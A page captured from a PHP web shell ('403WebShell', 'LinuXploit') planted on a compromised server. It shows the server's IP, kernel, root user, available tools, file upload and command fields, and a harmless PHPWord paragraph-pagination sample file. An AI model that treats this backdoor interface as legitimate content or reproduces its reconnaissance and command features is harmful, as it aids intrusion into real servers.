Warning: chmod(): Operation not permitted in /data/html/improve/wp-content/plugins/wordfence/wordfence.php on line 8
403WebShell
403Webshell
Server IP : 52.9.100.119  /  Your IP : 216.73.217.179
Web Server : Apache/2.4.61 (Amazon) OpenSSL/1.0.2k-fips PHP/7.3.30 Phusion_Passenger/5.1.5
System : Linux ip-172-31-9-35 4.14.355-196.618.amzn1.x86_64 #1 SMP Mon Apr 7 17:09:50 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.3.30
Disable Function : exec,passthru,shell_exec,system,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /data/html/garlans_live/vendor/phpoffice/phpword/samples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/html/garlans_live/vendor/phpoffice/phpword/samples/Sample_08_ParagraphPagination.php
<?php
include_once 'Sample_Header.php';

// New Word document
echo date('H:i:s'), ' Create new PhpWord object', EOL;
$phpWord = new \PhpOffice\PhpWord\PhpWord();
$phpWord->setDefaultParagraphStyle(
    array(
        'alignment'  => \PhpOffice\PhpWord\SimpleType\Jc::BOTH,
        'spaceAfter' => \PhpOffice\PhpWord\Shared\Converter::pointToTwip(12),
        'spacing'    => 120,
    )
);

// New section
$section = $phpWord->addSection();

$section->addText(
    'Below are the samples on how to control your paragraph '
        . 'pagination. See "Line and Page Break" tab on paragraph properties '
        . 'window to see the attribute set by these controls.',
    array('bold' => true),
    array('space' => array('before' => 360, 'after' => 480))
);

$section->addText(
    'Paragraph with widowControl = false (default: true). '
        . 'A "widow" is the last line of a paragraph printed by itself at the top '
        . 'of a page. An "orphan" is the first line of a paragraph printed by '
        . 'itself at the bottom of a page. Set this option to "false" if you want '
        . 'to disable this automatic control.',
    null,
    array('widowControl' => false, 'indentation' => array('left' => 240, 'right' => 120))
);

$section->addText(
    'Paragraph with keepNext = true (default: false). '
        . '"Keep with next" is used to prevent Word from inserting automatic page '
        . 'breaks between paragraphs. Set this option to "true" if you do not want '
        . 'your paragraph to be separated with the next paragraph.',
    null,
    array('keepNext' => true, 'indentation' => array('firstLine' => 240))
);

$section->addText(
    'Paragraph with keepLines = true (default: false). '
        . '"Keep lines together" will prevent Word from inserting an automatic page '
        . 'break within a paragraph. Set this option to "true" if you do not want '
        . 'all lines of your paragraph to be in the same page.',
    null,
    array('keepLines' => true, 'indentation' => array('left' => 240, 'hanging' => 240))
);

$section->addText('Keep scrolling. More below.');

$section->addText(
    'Paragraph with pageBreakBefore = true (default: false). '
        . 'Different with all other control above, "page break before" separates '
        . 'your paragraph into the next page. This option is most useful for '
        . 'heading styles.',
    null,
    array('pageBreakBefore' => true)
);

// Save file
echo write($phpWord, basename(__FILE__, '.php'), $writers);
if (!CLI) {
    include_once 'Sample_Footer.php';
}

Youez - 2016 - github.com/yon3zu
LinuXploit